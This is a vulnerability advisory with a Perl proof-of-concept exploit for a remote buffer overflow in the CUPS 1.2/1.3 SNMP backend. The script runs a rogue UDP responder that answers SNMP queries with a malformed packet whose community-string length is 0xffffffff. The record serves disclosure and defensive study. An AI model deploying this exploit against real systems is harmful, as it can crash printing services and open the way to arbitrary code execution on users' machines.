Common UNIX Printing System 1.2/1.3 SNMP - 'asn1_get_string()' Remote Buffer Overflow

source: https://www.securityfocus.com/bid/26917/info

Common UNIX Printing System (CUPS) is prone to a remote buffer-overflow vulnerability because the software fails to properly bounds-check user-supplied data before copying it to an insufficiently sized buffer.

Exploiting this issue allows attackers to execute arbitrary machine code in the context of users running the affected software. Failed exploit attempts will likely result in denial-of-service conditions.

This issue affects CUPS 1.2 and 1.3, prior to 1.3.5; other versions may also be vulnerable.

P0C:
===
#!/usr/bin/perl
#if 0
# backend_snmp_poc.pl write by wei_wang@mcafee.com
# 2007-11-06
#
# snmp.c asn1_get_string integer overflow cups 1.3.4
#
#    packet->error = "No community name";
#  else if ((length = asn1_get_length(&bufptr, bufend)) == 0)
#    packet->error = "Community name uses indefinite length";
#  else
#  {
#    asn1_get_string(&bufptr, bufend, length, packet->community,
#                    sizeof(packet->community));
#
#    if ((packet->request_type = asn1_get_type(&bufptr, bufend))
#
#002a: 30 38  tag=0x30 len=0x38
#002c: 02 01 00                 version:1 (0)
#002f: 04 84 ff ff ff ff 69 63       community:public
#len is 0xffffffff
#endif

my $payload ="\x30\x38\x02\x01\x00\x04\x84\xff\xff\xff\xff\x41\x41";

use strict;
my $PF_INET=2;
my $SOCK_DGRAM=2;
my $port=161;
my $proto=getprotobyname('udp');
my $addres=pack('SnC4x8',$PF_INET,$port,0,0,0,0);
my ($Cmd);
socket(SOCKET,$PF_INET,$SOCK_DGRAM,$proto) or die "Can't build a socket";
bind (SOCKET,$addres);
while(1)
{
  my $rip=recv (SOCKET,$Cmd,100,0);
  send (SOCKET,$payload,0,$rip) or die "send false";
  print "$Cmd";
}